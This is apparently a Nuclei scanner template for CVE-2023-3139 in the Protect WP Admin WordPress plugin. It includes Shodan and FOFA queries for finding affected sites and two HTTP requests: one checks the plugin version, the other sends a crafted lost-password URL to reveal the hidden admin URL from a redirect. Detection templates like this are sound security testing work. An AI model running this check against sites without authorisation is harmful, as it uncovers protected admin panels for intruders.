id: CVE-2023-3139

info:
  name: Protect WP Admin < 4.0 - Unauthenticated Protection Bypass
  author: popcorn94
  severity: medium
  description: |
    The Protect WP Admin WordPress plugin before version 4.0 disclosed the URL of the admin panel through the redirection of a crafted URL, bypassing the protection offered.
  impact: |
    Unauthenticated attackers can exploit URL redirection to discover the protected admin panel URL and bypass the protection mechanism offered by the plugin.
  remediation: Fixed in 4.0 or later
  reference:
    - https://wpscan.com/vulnerability/f8a29aee-19cd-4e62-b829-afc9107f69bd/
    - https://magos-securitas.com/txt/CVE-2023-3139.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3139
    cwe-id: CWE-601
    epss-score: 0.00688
    epss-percentile: 0.47828
    cpe: cpe:2.3:a:wp-experts:protect_wp_admin:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wp-experts
    product: protect_wp_admin
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/protect-wp-admin"
    fofa-query: body="/wp-content/plugins/protect-wp-admin/"
    publicwww-query: "/wp-content/plugins/protect-wp-admin/"
  tags: cve,cve2023,wordpress,wp-plugin,protect-wp-admin,unauth,wpscan,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/protect-wp-admin/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Protect WP Admin')"
          - compare_versions(version, '<= 4.0')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php?action=lostpassword&error=invalidkey"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 301"
          - "contains(location, '?action=lostpassword&error=invalidkey')"
        condition: and

    extractors:
      - type: regex
        part: header
        group: 1
        name: redirect_url
        regex:
          - 'Location:([ a-z:/0-9.?=&]+)'
        internal: true

      - type: dsl
        dsl:
          - '"Protected URL:"+ redirect_url'
# digest: 4a0a0047304502200c9e20cffd320a2197c5a88168f506f0ada437d5b8dd6856e97a7607cd489599022100f8184b8daa2bbf5202429c95793eb10cdaf92fa8aa3a8d324e789732bb93f5db:922c64590222798bb761d5b6d8e72950